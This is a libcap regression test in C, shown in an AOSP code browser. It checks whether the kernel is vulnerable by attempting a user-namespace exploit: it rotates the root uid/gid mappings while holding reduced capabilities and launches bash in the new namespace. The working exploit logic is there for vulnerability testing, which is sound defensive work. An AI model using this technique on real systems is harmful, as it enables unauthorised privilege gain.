xref: /aosp_15_r20/external/libcap/tests/uns_test.c (revision 2810ac1b38eead2603277920c78344c84ddf3aff)
1*2810ac1bSKiyoung Kim /*
2*2810ac1bSKiyoung Kim  * Try unsharing where we remap the root user by rotating uids (0,1,2)
3*2810ac1bSKiyoung Kim  * and the corresponding gids too.
4*2810ac1bSKiyoung Kim  */
5*2810ac1bSKiyoung Kim 
6*2810ac1bSKiyoung Kim #define _GNU_SOURCE
7*2810ac1bSKiyoung Kim 
8*2810ac1bSKiyoung Kim #include <errno.h>
9*2810ac1bSKiyoung Kim #include <sched.h>
10*2810ac1bSKiyoung Kim #include <stdio.h>
11*2810ac1bSKiyoung Kim #include <stdlib.h>
12*2810ac1bSKiyoung Kim #include <string.h>
13*2810ac1bSKiyoung Kim #include <sys/capability.h>
14*2810ac1bSKiyoung Kim #include <sys/mman.h>
15*2810ac1bSKiyoung Kim #include <sys/prctl.h>
16*2810ac1bSKiyoung Kim #include <sys/wait.h>
17*2810ac1bSKiyoung Kim #include <unistd.h>
18*2810ac1bSKiyoung Kim 
19*2810ac1bSKiyoung Kim #define STACK_RESERVED 10*1024
20*2810ac1bSKiyoung Kim 
21*2810ac1bSKiyoung Kim struct my_pipe {
22*2810ac1bSKiyoung Kim     int to[2];
23*2810ac1bSKiyoung Kim     int from[2];
24*2810ac1bSKiyoung Kim };
25*2810ac1bSKiyoung Kim 
child(void * data)26*2810ac1bSKiyoung Kim static int child(void *data) {
27*2810ac1bSKiyoung Kim     struct my_pipe *fdsp = data;
28*2810ac1bSKiyoung Kim     static const char * const args[] = {"bash", NULL};
29*2810ac1bSKiyoung Kim 
30*2810ac1bSKiyoung Kim     close(fdsp->to[1]);
31*2810ac1bSKiyoung Kim     close(fdsp->from[0]);
32*2810ac1bSKiyoung Kim     if (write(fdsp->from[1], "1", 1) != 1) {
33*2810ac1bSKiyoung Kim 	fprintf(stderr, "failed to confirm setuid(1)\n");
34*2810ac1bSKiyoung Kim 	exit(1);
35*2810ac1bSKiyoung Kim     }
36*2810ac1bSKiyoung Kim     close(fdsp->from[1]);
37*2810ac1bSKiyoung Kim 
38*2810ac1bSKiyoung Kim     char datum[1];
39*2810ac1bSKiyoung Kim     if (read(fdsp->to[0], datum, 1) != 1) {
40*2810ac1bSKiyoung Kim 	fprintf(stderr, "failed to wait for parent\n");
41*2810ac1bSKiyoung Kim 	exit(1);
42*2810ac1bSKiyoung Kim     }
43*2810ac1bSKiyoung Kim     close(fdsp->to[0]);
44*2810ac1bSKiyoung Kim     if (datum[0] == '!') {
45*2810ac1bSKiyoung Kim 	/* parent failed */
46*2810ac1bSKiyoung Kim 	exit(0);
47*2810ac1bSKiyoung Kim     }
48*2810ac1bSKiyoung Kim 
49*2810ac1bSKiyoung Kim     setsid();
50*2810ac1bSKiyoung Kim 
51*2810ac1bSKiyoung Kim     execv("/bin/bash", (const void *) args);
52*2810ac1bSKiyoung Kim     perror("execv failed");
53*2810ac1bSKiyoung Kim     exit(1);
54*2810ac1bSKiyoung Kim }
55*2810ac1bSKiyoung Kim 
main(int argc,char ** argv)56*2810ac1bSKiyoung Kim int main(int argc, char **argv)
57*2810ac1bSKiyoung Kim {
58*2810ac1bSKiyoung Kim     static const char *file_formats[] = {
59*2810ac1bSKiyoung Kim 	"/proc/%d/uid_map",
60*2810ac1bSKiyoung Kim 	"/proc/%d/gid_map"
61*2810ac1bSKiyoung Kim     };
62*2810ac1bSKiyoung Kim     static const char id_map[] = "0 1 1\n1 2 1\n2 0 1\n3 3 49999997\n";
63*2810ac1bSKiyoung Kim     cap_value_t fscap = CAP_SETFCAP;
64*2810ac1bSKiyoung Kim     cap_t orig = cap_get_proc();
65*2810ac1bSKiyoung Kim     cap_flag_value_t present;
66*2810ac1bSKiyoung Kim 
67*2810ac1bSKiyoung Kim     if (cap_get_flag(orig, CAP_SYS_ADMIN, CAP_EFFECTIVE, &present) != 0) {
68*2810ac1bSKiyoung Kim 	perror("failed to read a capability flag");
69*2810ac1bSKiyoung Kim 	exit(1);
70*2810ac1bSKiyoung Kim     }
71*2810ac1bSKiyoung Kim     if (present != CAP_SET) {
72*2810ac1bSKiyoung Kim 	fprintf(stderr,
73*2810ac1bSKiyoung Kim 		"environment missing cap_sys_admin - exploit not testable\n");
74*2810ac1bSKiyoung Kim 	exit(0);
75*2810ac1bSKiyoung Kim     }
76*2810ac1bSKiyoung Kim 
77*2810ac1bSKiyoung Kim     /* Run with this one lowered */
78*2810ac1bSKiyoung Kim     cap_set_flag(orig, CAP_EFFECTIVE, 1, &fscap, CAP_CLEAR);
79*2810ac1bSKiyoung Kim 
80*2810ac1bSKiyoung Kim     struct my_pipe fds;
81*2810ac1bSKiyoung Kim     if (pipe(&fds.from[0]) || pipe(&fds.to[0])) {
82*2810ac1bSKiyoung Kim 	perror("no pipes");
83*2810ac1bSKiyoung Kim 	exit(1);
84*2810ac1bSKiyoung Kim     }
85*2810ac1bSKiyoung Kim 
86*2810ac1bSKiyoung Kim     char *stack = mmap(NULL, STACK_RESERVED, PROT_READ|PROT_WRITE,
87*2810ac1bSKiyoung Kim 		       MAP_ANONYMOUS|MAP_PRIVATE|MAP_STACK, -1, 0);
88*2810ac1bSKiyoung Kim     if (stack == MAP_FAILED) {
89*2810ac1bSKiyoung Kim 	perror("no map for stack");
90*2810ac1bSKiyoung Kim 	exit(1);
91*2810ac1bSKiyoung Kim     }
92*2810ac1bSKiyoung Kim 
93*2810ac1bSKiyoung Kim     if (cap_setuid(1)) {
94*2810ac1bSKiyoung Kim 	perror("failed to cap_setuid(1)");
95*2810ac1bSKiyoung Kim 	exit(1);
96*2810ac1bSKiyoung Kim     }
97*2810ac1bSKiyoung Kim 
98*2810ac1bSKiyoung Kim     if (cap_set_proc(orig)) {
99*2810ac1bSKiyoung Kim 	perror("failed to raise caps again");
100*2810ac1bSKiyoung Kim 	exit(1);
101*2810ac1bSKiyoung Kim     }
102*2810ac1bSKiyoung Kim 
103*2810ac1bSKiyoung Kim     pid_t pid = clone(&child, stack+STACK_RESERVED, CLONE_NEWUSER|SIGCHLD, &fds);
104*2810ac1bSKiyoung Kim     if (pid == -1) {
105*2810ac1bSKiyoung Kim 	perror("clone failed");
106*2810ac1bSKiyoung Kim 	exit(1);
107*2810ac1bSKiyoung Kim     }
108*2810ac1bSKiyoung Kim 
109*2810ac1bSKiyoung Kim     close(fds.from[1]);
110*2810ac1bSKiyoung Kim     close(fds.to[0]);
111*2810ac1bSKiyoung Kim 
112*2810ac1bSKiyoung Kim     if (cap_setuid(0)) {
113*2810ac1bSKiyoung Kim 	perror("failed to cap_setuid(0)");
114*2810ac1bSKiyoung Kim 	exit(1);
115*2810ac1bSKiyoung Kim     }
116*2810ac1bSKiyoung Kim 
117*2810ac1bSKiyoung Kim     if (cap_set_proc(orig)) {
118*2810ac1bSKiyoung Kim 	perror("failed to raise caps again");
119*2810ac1bSKiyoung Kim 	exit(1);
120*2810ac1bSKiyoung Kim     }
121*2810ac1bSKiyoung Kim 
122*2810ac1bSKiyoung Kim     char datum[1];
123*2810ac1bSKiyoung Kim     if (read(fds.from[0], datum, 1) != 1 || datum[0] != '1') {
124*2810ac1bSKiyoung Kim 	fprintf(stderr, "failed to read child status\n");
125*2810ac1bSKiyoung Kim 	exit(1);
126*2810ac1bSKiyoung Kim     }
127*2810ac1bSKiyoung Kim     close(fds.from[0]);
128*2810ac1bSKiyoung Kim 
129*2810ac1bSKiyoung Kim     int i;
130*2810ac1bSKiyoung Kim     for (i=0; i<2; i++) {
131*2810ac1bSKiyoung Kim 	char *map_file;
132*2810ac1bSKiyoung Kim 	if (asprintf(&map_file, file_formats[i], pid) < 0) {
133*2810ac1bSKiyoung Kim 	    perror("allocate string");
134*2810ac1bSKiyoung Kim 	    exit(1);
135*2810ac1bSKiyoung Kim 	}
136*2810ac1bSKiyoung Kim 
137*2810ac1bSKiyoung Kim 	FILE *f = fopen(map_file, "w");
138*2810ac1bSKiyoung Kim 	free(map_file);
139*2810ac1bSKiyoung Kim 	if (f == NULL) {
140*2810ac1bSKiyoung Kim 	    perror("fopen failed");
141*2810ac1bSKiyoung Kim 	    exit(1);
142*2810ac1bSKiyoung Kim 	}
143*2810ac1bSKiyoung Kim 	int len = fwrite(id_map, 1, strlen(id_map), f);
144*2810ac1bSKiyoung Kim 	if (len != strlen(id_map)) {
145*2810ac1bSKiyoung Kim 	    goto bailok;
146*2810ac1bSKiyoung Kim 	}
147*2810ac1bSKiyoung Kim 	if (fclose(f)) {
148*2810ac1bSKiyoung Kim 	    goto bailok;
149*2810ac1bSKiyoung Kim 	}
150*2810ac1bSKiyoung Kim     }
151*2810ac1bSKiyoung Kim 
152*2810ac1bSKiyoung Kim     if (write(fds.to[1], ".", 1) != 1) {
153*2810ac1bSKiyoung Kim 	perror("failed to write '.'");
154*2810ac1bSKiyoung Kim 	exit(1);
155*2810ac1bSKiyoung Kim     }
156*2810ac1bSKiyoung Kim     close(fds.to[1]);
157*2810ac1bSKiyoung Kim 
158*2810ac1bSKiyoung Kim     fprintf(stderr, "user namespace launched exploit worked - upgrade kernel\n");
159*2810ac1bSKiyoung Kim     if (wait(NULL) == pid) {
160*2810ac1bSKiyoung Kim 	exit(1);
161*2810ac1bSKiyoung Kim     }
162*2810ac1bSKiyoung Kim     perror("launch failed");
163*2810ac1bSKiyoung Kim     exit(1);
164*2810ac1bSKiyoung Kim 
165*2810ac1bSKiyoung Kim bailok:
166*2810ac1bSKiyoung Kim     fprintf(stderr, "exploit attempt failed\n");
167*2810ac1bSKiyoung Kim     if (write(fds.to[1], "!", 1) != 1) {
168*2810ac1bSKiyoung Kim 	perror("failed to inform child [ignored]");
169*2810ac1bSKiyoung Kim     }
170*2810ac1bSKiyoung Kim     exit(0);
171*2810ac1bSKiyoung Kim }
172